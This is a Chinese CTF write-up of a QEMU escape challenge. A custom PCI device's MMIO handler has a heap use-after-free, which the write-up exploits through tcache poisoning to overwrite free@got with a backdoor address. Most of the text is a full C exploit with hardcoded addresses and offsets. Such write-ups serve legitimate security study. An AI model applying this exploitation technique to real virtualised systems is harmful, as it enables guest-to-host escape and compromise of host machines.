一道简单的套壳堆题.原本题目环境为 ubu16, 我这里使用的是 ubu18
qemu-system-x86_64 只开了 Canary 和 NX 保护.
比较简单, 主要逻辑在 mmio_write 里面, 其实现了一个菜单堆, 具有增删改的功能:

但是在释放堆块时并没有置空, 所以这里存在 UAF. 而程序还直接给了后门:

笔者的环境是 ubu18, glibc为2.27, 存在 tcache 并且没有相关检查. 所以利用比较简单. 直接打 free@got 为后门函数地址即可.
exp 如下: 注意这里每次写入是 4 字节, 如果写 8 字节会分两次写入
- #include
- #include
- #include
- #include
- #include
- #include
-
- #define ADD 0
- #define DELE 1
- #define EDIT 2
-
- void* mmio_base;
- void mmio_init()
- {
- int fd = open("sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR);
- if (fd < 0) puts("[X] open device file"), exit(EXIT_FAILURE);
- mmio_base = mmap(0, 0x1000000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
- if (mmio_base < 0) puts("[X] mmap for mmio"), exit(EXIT_FAILURE);
- printf("[+] mmio_base: %#p\n", mmio_base);
- if (mlock(mmio_base, 0x1000000) < 0) puts("[X] mlock for mmio_base"), exit(EXIT_FAILURE);
- }
-
- void mmio_write(uint64_t cmd, uint64_t idx, uint64_t offset, uint32_t val)
- {
- uint64_t addr = (cmd << 20) | (idx << 16) | offset;
- *(uint32_t*)(mmio_base + addr) = val;
- }
-
- int main(int argc, char** argv, char** envp)
- {
- mmio_init();
- mmio_write(ADD, 10, 0, 1);
- mmio_write(ADD, 0, 0, 82);
- mmio_write(DELE, 0, 0, 0);
- mmio_write(EDIT, 0, 0, 0x11301A0);
- mmio_write(EDIT, 0, 4, 0);
- mmio_write(ADD, 1, 0, 82);
- mmio_write(ADD, 2, 0, 82);
- mmio_write(EDIT, 2, 0, 0x6E65F9);
- mmio_write(EDIT, 2, 4, 0);
- mmio_write(DELE, 10, 0, 0);
- return 0;
- }
效果如下:
